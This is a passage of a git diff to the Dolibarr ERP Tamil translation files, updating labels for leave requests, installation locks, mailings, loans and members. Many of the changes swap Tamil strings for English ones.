பேச்சாளராக நிகழ்வில் நீங்கள் பங்கேற்பதற்கான நினைவூட்டல் இது OrganizationEventLinkToThirdParty=மூன்றாம் தரப்பினருக்கான இணைப்பு (வாடிக்கையாளர், சப்ளையர் அல்லது பங்குதாரர்) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=ஒரு சாவடிக்கான விண்ணப்பம் NewSuggestionOfConference=ஒரு மாநாட்டிற்கான விண்ணப்பம் @@ -153,7 +158,7 @@ VoteOk = உங்கள் வாக்கு ஏற்றுக்கொள் AlreadyVoted = இந்த நிகழ்வுக்கு நீங்கள் ஏற்கனவே வாக்களித்துள்ளீர்கள். VoteError = வாக்களிப்பின் போது பிழை ஏற்பட்டது, மீண்டும் முயற்சிக்கவும். -SubscriptionOk = உங்கள் பதிவு சரிபார்க்கப்பட்டது +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = நிகழ்வுக்கான உங்கள் சந்தாவை உறுதிப்படுத்துதல் Attendee = பங்கேற்பாளர் PaymentConferenceAttendee = மாநாட்டில் பங்கேற்பாளர் கட்டணம் @@ -161,7 +166,9 @@ PaymentBoothLocation = சாவடி இடம் கட்டணம் DeleteConferenceOrBoothAttendee=பங்கேற்பாளரை அகற்று RegistrationAndPaymentWereAlreadyRecorder= %s என்ற மின்னஞ்சலுக்கான பதிவும் கட்டணமும் ஏற்கனவே பதிவு செய்யப்பட்டுள்ளன. EmailAttendee=பங்கேற்பாளர் மின்னஞ்சல் +EmailCompany=Company email EmailCompanyForInvoice=நிறுவனத்தின் மின்னஞ்சல் (விலைப்பட்டியலுக்கு, பங்கேற்பாளர் மின்னஞ்சலில் இருந்து வேறுபட்டால்) ErrorSeveralCompaniesWithEmailContactUs=இந்த மின்னஞ்சலைக் கொண்ட பல நிறுவனங்கள் கண்டறியப்பட்டதால், உங்கள் பதிவைத் தானாகச் சரிபார்க்க முடியாது. கைமுறை சரிபார்ப்புக்கு எங்களை %s இல் தொடர்பு கொள்ளவும் ErrorSeveralCompaniesWithNameContactUs=இந்தப் பெயரைக் கொண்ட பல நிறுவனங்கள் கண்டறியப்பட்டதால், உங்கள் பதிவைத் தானாகச் சரிபார்க்க முடியாது. கைமுறை சரிபார்ப்புக்கு எங்களை %s இல் தொடர்பு கொள்ளவும் NoPublicActionsAllowedForThisEvent=இந்த நிகழ்விற்கான பொது நடவடிக்கைகள் எதுவும் பொது மக்களுக்குத் திறக்கப்படவில்லை +MaxNbOfAttendees=Max number of attendees diff --git a/htdocs/langs/ta_IN/holiday.lang b/htdocs/langs/ta_IN/holiday.lang index cb88a2d1041..11438b9527c 100644 --- a/htdocs/langs/ta_IN/holiday.lang +++ b/htdocs/langs/ta_IN/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=கிளம்பு +Holidays=Leaves +Holiday=Leave CPTitreMenu=கிளம்பு MenuReportMonth=மாதாந்திர அறிக்கை MenuAddCP=புதிய விடுப்பு கோரிக்கை +MenuCollectiveAddCP=New collective leave request NotActiveModCP=இந்தப் பக்கத்தைப் பார்க்க, நீங்கள் தொகுதி வெளியேறு என்பதை இயக்க வேண்டும். AddCP=விடுப்புக் கோரிக்கையை விடுங்கள் DateDebCP=தொடக்க தேதி @@ -56,6 +58,7 @@ ConfirmDeleteCP=இந்த விடுப்பு கோரிக்கை ErrorCantDeleteCP=இந்த விடுப்பு கோரிக்கையை நீக்க உங்களுக்கு உரிமை இல்லை. CantCreateCP=விடுப்பு கோரிக்கைகளை வைக்க உங்களுக்கு உரிமை இல்லை. InvalidValidatorCP=உங்கள் விடுப்புக் கோரிக்கைக்கு நீங்கள் அனுமதியளிப்பவரைத் தேர்ந்தெடுக்க வேண்டும். +InvalidValidator=The user chosen isn't an approver. NoDateDebut=தொடக்கத் தேதியைத் தேர்ந்தெடுக்க வேண்டும். NoDateFin=நீங்கள் முடிவுத் தேதியைத் தேர்ந்தெடுக்க வேண்டும். ErrorDureeCP=உங்கள் விடுப்பு கோரிக்கையில் வேலை நாள் இல்லை. @@ -79,6 +82,8 @@ MotifCP=காரணம் UserCP=பயனர் ErrorAddEventToUserCP=விதிவிலக்கான விடுப்பைச் சேர்க்கும்போது பிழை ஏற்பட்டது. AddEventToUserOkCP=விதிவிலக்கான விடுப்புச் சேர்க்கை முடிந்தது. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=மாற்ற பதிவுகளைப் பார்க்கவும் LogCP="பேலன்ஸ் ஆஃப் லீவ்" க்கு செய்யப்பட்ட அனைத்து புதுப்பிப்புகளின் பதிவு ActionByCP=மூலம் புதுப்பிக்கப்பட்டது @@ -86,6 +91,13 @@ UserUpdateCP=க்கு புதுப்பிக்கப்பட்டத PrevSoldeCP=முந்தைய இருப்பு NewSoldeCP=புதிய சமநிலையை alreadyCPexist=இந்தக் காலக்கட்டத்தில் ஏற்கனவே விடுப்புக் கோரிக்கை விடுக்கப்பட்டுள்ளது. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=விடுப்புக் கோரிக்கையின் தொடக்க நாள் LastDayOfHoliday=விடுப்புக் கோரிக்கையின் முடிவு நாள் BoxTitleLastLeaveRequests=சமீபத்திய %s மாற்றியமைக்கப்பட்ட விடுப்புக் கோரிக்கைகள் @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s என்பது பொதுவாக வேலை BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=விடுப்பு கோரிக்கை %s வரைவாக இருக்க வேண்டும், ரத்து செய்யப்பட வேண்டும் அல்லது நீக்கப்பட மறுக்கப்பட வேண்டும் +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/ta_IN/install.lang b/htdocs/langs/ta_IN/install.lang index 682b5cd7503..cba5f35cab2 100644 --- a/htdocs/langs/ta_IN/install.lang +++ b/htdocs/langs/ta_IN/install.lang @@ -51,7 +51,6 @@ DatabaseName=தரவுத்தளத்தின் பெயர் DatabasePrefix=தரவுத்தள அட்டவணை முன்னொட்டு DatabasePrefixDescription=தரவுத்தள அட்டவணை முன்னொட்டு. காலியாக இருந்தால், llx_க்கு இயல்புநிலையாக இருக்கும். AdminLogin=Dolibarr தரவுத்தள உரிமையாளருக்கான பயனர் கணக்கு. -PasswordAgain=கடவுச்சொல் உறுதிப்படுத்தலை மீண்டும் தட்டச்சு செய்யவும் AdminPassword=Dolibarr தரவுத்தள உரிமையாளருக்கான கடவுச்சொல். CreateDatabase=தரவுத்தளத்தை உருவாக்கவும் CreateUser=Dolibarr தரவுத்தளத்தில் பயனர் கணக்கை உருவாக்கவும் அல்லது பயனர் கணக்கு அனுமதியை வழங்கவும் @@ -89,7 +88,7 @@ LoginAlreadyExists=ஏற்கனவே இருக்கிறது DolibarrAdminLogin=டோலிபார் நிர்வாகி உள்நுழைவு AdminLoginAlreadyExists=Dolibarr நிர்வாகி கணக்கு ' %s ' ஏற்கனவே உள்ளது. நீங்கள் மற்றொன்றை உருவாக்க விரும்பினால் திரும்பிச் செல்லவும். FailedToCreateAdminLogin=Dolibarr நிர்வாகி கணக்கை உருவாக்க முடியவில்லை. -WarningRemoveInstallDir=எச்சரிக்கை, பாதுகாப்பு காரணங்களுக்காக, நிறுவல் அல்லது மேம்படுத்தல் முடிந்ததும், நிறுவல் கருவிகளை மீண்டும் தற்செயலாக/தீங்கு விளைவிக்கும் வகையில் பயன்படுத்துவதைத் தடுக்க, நீங்கள் install.lock என்ற கோப்பை Dolibarr ஆவணக் கோப்பகத்தில் சேர்க்க வேண்டும். +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=இந்த PHP இல் கிடைக்கவில்லை ChoosedMigrateScript=இடம்பெயர்வு ஸ்கிரிப்டைத் தேர்ந்தெடுக்கவும் DataMigration=தரவுத்தள இடம்பெயர்வு (தரவு) @@ -209,7 +208,12 @@ HideNotAvailableOptions=கிடைக்காத விருப்பங் ErrorFoundDuringMigration=இடம்பெயர்வுச் செயல்பாட்டின் போது பிழை(கள்) பதிவாகியதால் அடுத்த கட்டம் கிடைக்கவில்லை. பிழைகளைப் புறக்கணிக்க, இங்கே கிளிக் செய்யலாம் , ஆனால் பிழைகள் தீர்க்கப்படும் வரை பயன்பாடு அல்லது சில அம்சங்கள் சரியாக வேலை செய்யாமல் போகலாம். YouTryInstallDisabledByDirLock=பயன்பாடு சுய-மேம்படுத்த முயற்சித்தது, ஆனால் பாதுகாப்புக்காக நிறுவல்/மேம்படுத்துதல் பக்கங்கள் முடக்கப்பட்டுள்ளன (அடைவு .lock பின்னொட்டு என மறுபெயரிடப்பட்டது).
      YouTryInstallDisabledByFileLock=பயன்பாடு சுய-மேம்படுத்த முயற்சித்தது, ஆனால் பாதுகாப்புக்காக நிறுவல்/மேம்படுத்துதல் பக்கங்கள் முடக்கப்பட்டுள்ளன (dolibarr ஆவணங்கள் கோப்பகத்தில் install.lock என்ற பூட்டுக் கோப்பு இருப்பதால்).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=உங்கள் விண்ணப்பத்திற்குச் செல்ல இங்கே கிளிக் செய்யவும் ClickOnLinkOrRemoveManualy=மேம்படுத்தல் செயல்பாட்டில் இருந்தால், காத்திருக்கவும். இல்லையென்றால், பின்வரும் இணைப்பைக் கிளிக் செய்யவும். நீங்கள் எப்பொழுதும் இதே பக்கத்தைப் பார்த்தால், ஆவணங்கள் கோப்பகத்தில் உள்ள install.lock கோப்பை நீக்க/மறுபெயரிட வேண்டும். +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=ஏற்றப்பட்டது FunctionTest=செயல்பாட்டு சோதனை +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/ta_IN/interventions.lang b/htdocs/langs/ta_IN/interventions.lang index 6c773958e35..eb581abb5da 100644 --- a/htdocs/langs/ta_IN/interventions.lang +++ b/htdocs/langs/ta_IN/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=தலையீடு பதிவுகளுக InterventionStatistics=தலையீடுகளின் புள்ளிவிவரங்கள் NbOfinterventions=தலையீட்டு அட்டைகளின் எண்ணிக்கை NumberOfInterventionsByMonth=மாதத்தின்படி தலையீட்டு அட்டைகளின் எண்ணிக்கை (சரிபார்க்கப்பட்ட தேதி) -AmountOfInteventionNotIncludedByDefault=தலையீட்டின் அளவு லாபத்தில் இயல்புநிலையாக சேர்க்கப்படவில்லை (பெரும்பாலான சந்தர்ப்பங்களில், செலவழித்த நேரத்தை கணக்கிட நேரத்தாள்கள் பயன்படுத்தப்படுகின்றன). PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT என்ற விருப்பத்தை ஹோம்-அமைப்பில்-மற்றவற்றைச் சேர்க்க, 1 இல் சேர்க்கவும். +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=தலையீடு ஐடி InterRef=தலையீடு ref. InterDateCreation=தேதி உருவாக்கம் தலையீடு @@ -66,3 +66,7 @@ RepeatableIntervention=தலையீட்டின் வார்ப்ப ToCreateAPredefinedIntervention=முன் வரையறுக்கப்பட்ட அல்லது தொடர்ச்சியான தலையீட்டை உருவாக்க, ஒரு பொதுவான தலையீட்டை உருவாக்கி அதை தலையீட்டு டெம்ப்ளேட்டாக மாற்றவும் ConfirmReopenIntervention= %s தலையீட்டைத் திரும்பப் பெற விரும்புகிறீர்களா? GenerateInter=தலையீட்டை உருவாக்குங்கள் +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/ta_IN/loan.lang b/htdocs/langs/ta_IN/loan.lang index 6f030a5e6f0..2d4881f138d 100644 --- a/htdocs/langs/ta_IN/loan.lang +++ b/htdocs/langs/ta_IN/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = நீங்கள் அட்டவணையைப் பயன்படுத்தினால் ஆர்வத்தை மாற்ற முடியாது # Admin ConfigLoan=தொகுதி கடன் கட்டமைப்பு -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=கணக்கியல் கணக்கு மூலதனம் இயல்பாக -LOAN_ACCOUNTING_ACCOUNT_INTEREST=கணக்கியல் கணக்கு வட்டி இயல்பாக -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=முன்னிருப்பாக கணக்கியல் கணக்கு காப்பீடு +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=நிதி உறுதியைத் திருத்தவும் diff --git a/htdocs/langs/ta_IN/mailmanspip.lang b/htdocs/langs/ta_IN/mailmanspip.lang index 60e339c970a..bbc6d2a1847 100644 --- a/htdocs/langs/ta_IN/mailmanspip.lang +++ b/htdocs/langs/ta_IN/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=சந்தா சோதனை வெற்றிகர MailmanDeletionSuccess=குழுவிலகல் சோதனை வெற்றிகரமாகச் செயல்படுத்தப்பட்டது SynchroMailManEnabled=ஒரு Mailman மேம்படுத்தல் செய்யப்படும் SynchroSpipEnabled=ஒரு ஸ்பிப் அப்டேட் செய்யப்படும் -DescADHERENT_MAILMAN_ADMINPW=Mailman நிர்வாகி கடவுச்சொல் +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=Mailman சந்தாக்களுக்கான URL DescADHERENT_MAILMAN_UNSUB_URL=Mailman சந்தா விலக்குக்கான URL DescADHERENT_MAILMAN_LISTS=புதிய உறுப்பினர்களின் தானியங்கி கல்வெட்டுக்கான பட்டியல்(கள்) (காற்புள்ளியால் பிரிக்கப்பட்டது) diff --git a/htdocs/langs/ta_IN/mails.lang b/htdocs/langs/ta_IN/mails.lang index a502549e29c..c9072a91e43 100644 --- a/htdocs/langs/ta_IN/mails.lang +++ b/htdocs/langs/ta_IN/mails.lang @@ -7,10 +7,10 @@ MailCard=மின்னஞ்சல் அட்டை MailRecipients=பெற்றவர்கள் MailRecipient=பெறுபவர் MailTitle=விளக்கம் -MailFrom=அனுப்புபவர் +MailFrom=From MailErrorsTo=பிழைகள் MailReply=பதிலளிக்க -MailTo=பெறுநர்(கள்) +MailTo=To MailToUsers=பயனர்(களுக்கு) MailCC=நகலெடு MailToCCUsers=பயனர்களுக்கு நகலெடு @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=நிலை மூலம் தொடர் MailingModuleDescEmailsFromFile=கோப்பிலிருந்து மின்னஞ்சல்கள் MailingModuleDescEmailsFromUser=பயனரின் மின்னஞ்சல்கள் உள்ளீடு MailingModuleDescDolibarrUsers=மின்னஞ்சல்களைக் கொண்ட பயனர்கள் -MailingModuleDescThirdPartiesByCategories=மூன்றாம் தரப்பினர் (வகைகள் மூலம்) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=இணைய இடைமுகத்திலிருந்து அனுப்ப அனுமதி இல்லை. EmailCollectorFilterDesc=மின்னஞ்சலைச் சேகரிக்க அனைத்து வடிப்பான்களும் பொருந்த வேண்டும் @@ -178,3 +178,5 @@ IsAnAnswer=ஆரம்ப மின்னஞ்சலின் பதில் RecordCreatedByEmailCollector=%s மின்னஞ்சலில் இருந்து %s மின்னஞ்சல் சேகரிப்பாளரால் உருவாக்கப்பட்டது DefaultBlacklistMailingStatus=புதிய தொடர்பை உருவாக்கும் போது '%s' புலத்திற்கான இயல்பு மதிப்பு DefaultStatusEmptyMandatory=காலி ஆனால் கட்டாயம் +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/ta_IN/main.lang b/htdocs/langs/ta_IN/main.lang index e8857b01547..7611ca56db5 100644 --- a/htdocs/langs/ta_IN/main.lang +++ b/htdocs/langs/ta_IN/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=freeserif FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=இந்த மின்னஞ்சல் வகைக்க AvailableVariables=கிடைக்கக்கூடிய மாற்று மாறிகள் NoTranslation=மொழிபெயர்ப்பு இல்லை Translation=மொழிபெயர்ப்பு +Translations=Translations CurrentTimeZone=நேர மண்டல PHP (சர்வர்) EmptySearchString=காலியாக இல்லாத தேடல் அளவுகோல்களை உள்ளிடவும் EnterADateCriteria=தேதி அளவுகோலை உள்ளிடவும் @@ -199,6 +206,7 @@ Valid=செல்லுபடியாகும் Approve=ஒப்புதல் Disapprove=ஏற்கவில்லை ReOpen=மீண்டும் திறக்கவும் +OpenVerb=Open Upload=பதிவேற்றவும் ToLink=இணைப்பு Select=தேர்ந்தெடு @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=பயனர் குழு வரையறுக்கப்படவில்லை Password=கடவுச்சொல் -PasswordRetype=உங்கள் கடவுச்சொல்லை மீண்டும் தட்டச்சு செய்யவும் +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=இந்த ஆர்ப்பாட்டத்தில் நிறைய அம்சங்கள்/தொகுதிகள் முடக்கப்பட்டுள்ளன என்பதை நினைவில் கொள்ளவும். +YourUserFile=Your user file Name=பெயர் NameSlashCompany=பெயர் / நிறுவனம் Person=நபர் @@ -481,6 +490,7 @@ ActionsOnContact=இந்த தொடர்பு/முகவரிக்க ActionsOnContract=இந்த ஒப்பந்தத்திற்கான நிகழ்வுகள் ActionsOnMember=இந்த உறுப்பினரைப் பற்றிய நிகழ்வுகள் ActionsOnProduct=இந்த தயாரிப்பு பற்றிய நிகழ்வுகள் +ActionsOnAsset=Events for this fixed asset NActionsLate=%s தாமதமானது ToDo=செய்ய Completed=நிறைவு @@ -888,6 +898,9 @@ MassFilesArea=வெகுஜன செயல்களால் உருவா ShowTempMassFilesArea=வெகுஜன செயல்களால் உருவாக்கப்பட்ட கோப்புகளின் பகுதியைக் காட்டு ConfirmMassDeletion=மொத்தமாக நீக்குதல் உறுதிப்படுத்தல் ConfirmMassDeletionQuestion=தேர்ந்தெடுத்த %s பதிவை(களை) நிச்சயமாக நீக்க விரும்புகிறீர்களா? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=தொடர்புடைய பொருள்கள் ClassifyBilled=கட்டணத்தை வகைப்படுத்தவும் ClassifyUnbilled=பில் செய்யப்படாததை வகைப்படுத்தவும் @@ -903,8 +916,8 @@ ExportFilteredList=வடிகட்டப்பட்ட பட்டியல ExportList=ஏற்றுமதி பட்டியல் ExportOptions=ஏற்றுமதி விருப்பங்கள் IncludeDocsAlreadyExported=ஏற்கனவே ஏற்றுமதி செய்யப்பட்ட ஆவணங்களைச் சேர்க்கவும் -ExportOfPiecesAlreadyExportedIsEnable=ஏற்கனவே ஏற்றுமதி செய்யப்பட்ட துண்டுகளின் ஏற்றுமதி இயக்கப்பட்டது -ExportOfPiecesAlreadyExportedIsDisable=ஏற்கனவே ஏற்றுமதி செய்யப்பட்ட துண்டுகளின் ஏற்றுமதி முடக்கப்பட்டுள்ளது +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=ஏற்றுமதி செய்யப்பட்ட அனைத்து இயக்கங்களும் ஏற்றுமதி செய்யப்பட்டதாக பதிவு செய்யப்பட்டன NotAllExportedMovementsCouldBeRecordedAsExported=ஏற்றுமதி செய்யப்பட்ட அனைத்து இயக்கங்களும் ஏற்றுமதி செய்யப்பட்டதாக பதிவு செய்ய முடியாது Miscellaneous=இதர @@ -921,6 +934,7 @@ DirectDownloadInternalLink=தனிப்பட்ட பதிவிறக் PrivateDownloadLinkDesc=நீங்கள் உள்நுழைந்திருக்க வேண்டும் மற்றும் கோப்பைப் பார்க்க அல்லது பதிவிறக்க உங்களுக்கு அனுமதிகள் தேவை Download=பதிவிறக்க Tamil DownloadDocument=ஆவணத்தைப் பதிவிறக்கவும் +DownloadSignedDocument=Download signed document ActualizeCurrency=நாணய விகிதத்தைப் புதுப்பிக்கவும் Fiscalyear=நிதியாண்டு ModuleBuilder=தொகுதி மற்றும் பயன்பாட்டு பில்டர் @@ -1046,6 +1060,7 @@ SearchIntoContracts=ஒப்பந்தங்கள் SearchIntoCustomerShipments=வாடிக்கையாளர் ஏற்றுமதி SearchIntoExpenseReports=செலவு அறிக்கைகள் SearchIntoLeaves=கிளம்பு +SearchIntoKM=Knowledge base SearchIntoTickets=டிக்கெட்டுகள் SearchIntoCustomerPayments=வாடிக்கையாளர் கொடுப்பனவுகள் SearchIntoVendorPayments=விற்பனையாளர் கொடுப்பனவுகள் @@ -1117,6 +1132,7 @@ DeleteFileText=இந்தக் கோப்பை உண்மையில் ShowOtherLanguages=பிற மொழிகளைக் காட்டு SwitchInEditModeToAddTranslation=இந்த மொழிக்கான மொழிபெயர்ப்புகளைச் சேர்க்க எடிட் பயன்முறையில் மாறவும் NotUsedForThisCustomer=இந்த வாடிக்கையாளருக்குப் பயன்படுத்தப்படவில்லை +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=தொகை நேர்மறையாக இருக்க வேண்டும் ByStatus=நிலை மூலம் InformationMessage=தகவல் @@ -1137,15 +1153,29 @@ EventReminder=நிகழ்வு நினைவூட்டல் UpdateForAllLines=அனைத்து வரிகளுக்கும் புதுப்பிக்கவும் OnHold=நிறுத்தி வைக்கப்பட்டுள்ளது Civility=நாகரீகம் -AffectTag=தாக்க குறிச்சொல் +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=வெளிப்புற பயனரை உருவாக்கவும் -ConfirmAffectTag=மொத்த டேக் பாதிப்பு -ConfirmAffectTagQuestion=%s தேர்ந்தெடுக்கப்பட்ட பதிவின்(கள்) குறிச்சொற்களை நிச்சயமாகப் பாதிக்க விரும்புகிறீர்களா? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=பதிவுகளின் வகைக்கு குறிச்சொல் வகை எதுவும் இல்லை +Rate=மதிப்பிடவும் +SupervisorNotFound=Supervisor not found CopiedToClipboard=கிளிப்போர்டுக்கு நகலெடுக்கப்பட்டது InformationOnLinkToContract=இந்த தொகை ஒப்பந்தத்தின் அனைத்து வரிகளின் மொத்தமாகும். நேரம் பற்றிய எந்த கருத்தும் கணக்கில் எடுத்துக்கொள்ளப்படவில்லை. ConfirmCancel=நீங்கள் நிச்சயமாக ரத்து செய்ய விரும்புகிறீர்களா EmailMsgID=மின்னஞ்சல் MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=இயக்கப்பட்டது என அமைக்கவும் SetToDisabled=முடக்கப்பட்டதாக அமைக்கவும் ConfirmMassEnabling=நிறை செயல்படுத்தும் உறுதிப்படுத்தல் @@ -1174,9 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/ta_IN/members.lang b/htdocs/langs/ta_IN/members.lang index 60ed236be56..6a8e098b741 100644 --- a/htdocs/langs/ta_IN/members.lang +++ b/htdocs/langs/ta_IN/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=மற்றொரு உறுப ErrorUserPermissionAllowsToLinksToItselfOnly=பாதுகாப்பு காரணங்களுக்காக, உங்களுடையது அல்லாத ஒரு பயனருடன் ஒரு உறுப்பினரை இணைக்க அனைத்து பயனர்களையும் திருத்துவதற்கான அனுமதிகள் உங்களுக்கு வழங்கப்பட வேண்டும். SetLinkToUser=Dolibarr பயனருக்கான இணைப்பு SetLinkToThirdParty=Dolibarr மூன்றாம் தரப்பினருக்கான இணைப்பு +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=உறுப்பினர்களின் பட்டியல் MembersListToValid=வரைவு உறுப்பினர்களின் பட்டியல் (சரிபார்க்கப்பட வேண்டும்) @@ -34,7 +35,8 @@ DateSubscription=உறுப்பினர் தேதி DateEndSubscription=உறுப்பினர் முடிவு தேதி EndSubscription=உறுப்பினர் முடிவு SubscriptionId=பங்களிப்பு ஐடி -WithoutSubscription=பங்களிப்பு இல்லாமல் +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=புதிய உறுப்பினர் @@ -72,12 +74,12 @@ MemberTypeCanNotBeDeleted=உறுப்பினர் வகையை நீ NewSubscription=புதிய பங்களிப்பு NewSubscriptionDesc=அறக்கட்டளையின் புதிய உறுப்பினராக உங்கள் சந்தாவைப் பதிவுசெய்ய இந்தப் படிவம் உங்களை அனுமதிக்கிறது. உங்கள் சந்தாவைப் புதுப்பிக்க விரும்பினால் (ஏற்கனவே உறுப்பினராக இருந்தால்), அதற்கு பதிலாக %s என்ற மின்னஞ்சல் மூலம் அடித்தள வாரியத்தைத் தொடர்பு கொள்ளவும். Subscription=பங்களிப்பு -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=பங்களிப்புகள் SubscriptionLate=லேட் SubscriptionNotReceived=பங்களிப்பு ஒருபோதும் பெறப்படவில்லை @@ -204,10 +206,12 @@ SubscriptionsStatistics=பங்களிப்புகளின் புள NbOfSubscriptions=பங்களிப்புகளின் எண்ணிக்கை AmountOfSubscriptions=பங்களிப்புகளிலிருந்து சேகரிக்கப்பட்ட தொகை TurnoverOrBudget=விற்றுமுதல் (ஒரு 